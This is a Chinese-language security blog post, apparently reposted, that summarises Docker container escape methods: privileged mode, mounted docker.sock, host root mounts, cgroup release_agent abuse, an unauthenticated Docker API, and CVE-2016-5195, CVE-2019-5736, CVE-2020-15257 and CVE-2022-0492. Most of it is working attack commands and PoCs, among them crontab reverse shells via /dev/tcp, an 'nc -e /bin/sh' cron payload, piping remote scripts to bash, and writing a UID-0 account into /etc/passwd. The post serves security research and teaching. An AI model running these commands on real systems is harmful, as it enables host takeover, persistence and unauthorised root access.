Docker逃逸总结

admin 2024年8月14日22:56:33评论22 views字数 8350阅读27分50秒阅读模式

0x01 容器逃逸介绍

在开始之前对于容器逃逸主要有以下三种方法:

1.不安全的配置

2.相关程序漏洞

3.内核漏洞

0x02 docker信息收集判断

判断成功率并不是100%

2.1 判断是否为容器环境

root权限情况下使用下面的命令去判断

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

2.2 判断特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

2.3 挂载 Docker Socke

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

2.4 挂载 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

2.5 挂载宿主机根目录

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

2.6 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

2.7自动化检测脚本

项目地址:https://github.com/teamssix/container-escape-check

或直接在容器里面执行

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
Docker逃逸总结

0x03 docker配置参数方式逃逸方式

3.1 特权模式privileged参数逃逸

首先启动一个特权容器

docker run -it --privileged ubuntu:18.04

Docker逃逸总结

fdisk -l df -h

Docker逃逸总结

可以直接挂载宿主机的磁盘

mkdir mo60 mount /dev/nvme0n1p2 mo60/ chroot /mo60/

成功访问到宿主机文件
Docker逃逸总结

写crontab 反弹shell

crontab -lcrontab -e * * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1

3.2 docker.sock

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。
另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。
Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

启动测试容器

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.0

随后在docker容器中安装docker 安装命令如下:

apt-get updateapt-get  install curl -ycurl -fsSL https://get.docker.com | bash -s docker --mirror Aliyuncurl -sSL https://get.daocloud.io/docker | shsystemctl enable dockersystemctl start docker

# ubuntu 18.04安装dockerapt-get update# 安装依赖包apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密钥curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 验证您现在是否拥有带有指纹的密钥apt-key fingerprint 0EBFCD88# 设置稳定版仓库add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新apt-get update# 安装最新的Docker-ce apt-get install docker-ce# 启动systemctl enable dockersystemctl start docker

安装完成之后我们使用docker ps就可以看到宿主机上的容器了

docker ps

Docker逃逸总结

将宿主机的根目录挂载到容器

docker run -it -v /:/mo60 ubuntu:18.04 /bin/bash chroot mo60

可以看到宿主机文件了,反弹shell也是修改crontab即可

Docker逃逸总结

3.3 挂载宿主机根目录

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

docker run -it -v /:/mo60/ ubuntu:18.04 chroot /mo60/

Docker逃逸总结

还是一样可以通过crontab反弹shell

3.4 Cgroup执行宿主机系统命令

通过notify_on_release实现容器逃逸 条件

  • 以root用户身份在容器内运行

  • 使用SYS_ADMINLinux功能运行

  • 缺少AppArmor配置文件,否则将允许mountsyscall

  • cgroup v1虚拟文件系统必须以读写方式安装在容器内

  • docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04
Docker逃逸总结

POC

# In the container# 挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/xmkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent#  设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agentecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent# 写入自定义命令echo '#!/bin/sh' > /cmd# 结果在当前目录的output文件中echo "ls / > $host_path/output" >> /cmdchmod a+x /cmd# 执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

这里执行的ls /运行后结果会输出到output中

Docker逃逸总结

3.4 docker daemon api未授权访问

在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

使用 vluhub 环境

git clone https://github.com/vulhub/vulhub.gitcd vulhub/docker/unauthorized-rcedocker-compose builddocker-compose up -d

反弹shell

import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

0x04 其他逃逸方式

4.1 DirtyCow漏洞逃逸-CVE-2016-5195

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。

下载测试容器并运行

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/docker-compose run dirtycow /bin/bash

POC地址,上面的环境会自动下载poc无需手动再次下载

https://github.com/scumjr/dirtycow-vdso

4.2 runC逃逸-CVE-2019-5736

影响版本
docker version <=18.09.2 RunC version <=1.0-rc6

安装环境

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

下载Exploit

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

修改一下要执行的命令这里我修改为在根目录创建一个文件

Docker逃逸总结

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

编译一下

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Docker逃逸总结

把编译后的内容传到docker容器中

docker cp main id:/
Docker逃逸总结

在容器里面运行

Docker逃逸总结

然后我们在宿主机尝试去exec进入该容器即可触发,如果web界面有终端也可以触发比如docker搭建的Jupyter的Terminal

docker exec -it id /bin/sh

Docker逃逸总结

成功执行

Docker逃逸总结

成功在宿主机创建
Docker逃逸总结

有一点要注意docker逃逸出来后,docker状态崩溃,root权限也无法再次进入docker内部

这里有个坑,一开始我是/bin/bash但是poc里面写的是sh导致命令执行失败,要/bin/bash的话要修改poc把/bin/sh替换成/bin/bash

docker exec -it id /bin/bash

有两处位置记得都替

Docker逃逸总结

4.3 CVE-2020-15257

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

利用要求

1.网络模式为host

2.容器内部进程root用户启动

安装环境有漏洞的docker版本

sudo apt-get install ca-certificates curl software-properties-common# 添加官方GPG密钥,这一步可能需要root用户执行,ubuntu执行,sudo passwd root 然后su root即可sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -# 设置稳定的存储库sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"# 安装指定版本的dockersudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

此时查看containerd版本

docker version漏洞影响版本containerd < 1.4.3containerd < 1.3.9

Docker逃逸总结

通过--net=host 作为启动参数来运行并进入一个容器:

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

进入容器

sudo docker exec -it <容器id> /bin/bash

接着在容器内执行,可看到抽象命名空间Unix域套接字

cat /proc/net/unix|grep -a "containerd-shim"

Docker逃逸总结

然后下载漏洞利用工具 https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

然后拷贝进容器

sudo docker cp cdk_linux_amd64 容器id:/tmp

运行工具,执行反弹shell命令,验证得到一个宿主机的shell:

./cdk_linux_amd64 run shim-pwn 反弹IP 反弹端口

Docker逃逸总结

反弹的shell为宿主机的shell
Docker逃逸总结

4.4 CVE-2022-0492

当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机

漏洞产品: linux kernel - cgroup

影响版本: ~linux kernel 5.17-rc3

在存在漏洞版本的内核的linux中使用docker才可以,这里我们来搭建符合的环境

git clone https://github.com/brant-ruan/metarget.gitcd metarget/pip3 install -r requirements.txt./metarget cnv install cve-2022-0492

运行安装完后查看内核版本
Docker逃逸总结

启动环境

docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash

这里使用exp

mkdir /tmp/testcgroupmount -t cgroup -o memory cgroup /tmp/testcgroupmkdir /tmp/testcgroup/xhost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo 1 > /tmp/testcgroup/x/notify_on_releasetouch /cmdecho '#!/bin/sh' > /cmdecho "要执行的命令 >> $host_path/result"  >> /cmdchmod 777 /cmdecho "$host_path/cmd" > /tmp/testcgroup/release_agentsh -c "echo $$ >  /tmp/testcgroup/x/cgroup.procs"

然后运行完查看/result文件即可,这里我是看了宿主机的/tmp目

Docker逃逸总结

或者使用 https://github.com/chenaotian/CVE-2022-0492/blob/main/exp.sh 使用方法

./exp.sh "cat /etc/passwd"

这里运行 cat /etc/passwd 可以看到这个是u是我宿主机用户

Docker逃逸总结

4.6 Docker 用户组提权

Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。

查看当前所在的组,发现在docker组里面

groups

Docker逃逸总结

参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Docker逃逸总结

又或者
将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd

docker run -v /etc/:/mnt -it alpinecd /mntcat shadow

Docker逃逸总结

添加一个特权账号,这里先生成密码。

openssl passwd -1 -salt mo60

得到

$1$mo60$1rTGVj6vCS8EEqxxqnuBH/

然后写入passwd文件

echo 'mo60:$1$mo60$1rTGVj6vCS8EEqxxqnuBH/:0:0::/root:/bin/bash' >>/mnt/passwd
Docker逃逸总结

然后退出docker容器到宿主机成功到root

Docker逃逸总结

参考

https://zone.huoxian.cn/d/990
https://zone.huoxian.cn/d/1092-docker
https://wiki.teamssix.com/CloudNative/Docker/docker-user-group-privilege-escalation.html
https://wiki.teamssix.com/CloudNative/Docker/CVE-2022-0492.html
https://github.com/chenaotian/CVE-2022-0492
https://blog.csdn.net/qq_44657899/article/details/120584394

感谢Juneha大佬

原文始发于微信公众号(船山信安):Docker逃逸总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月14日22:56:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸总结http://cn-sec.com/archives/3064997.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息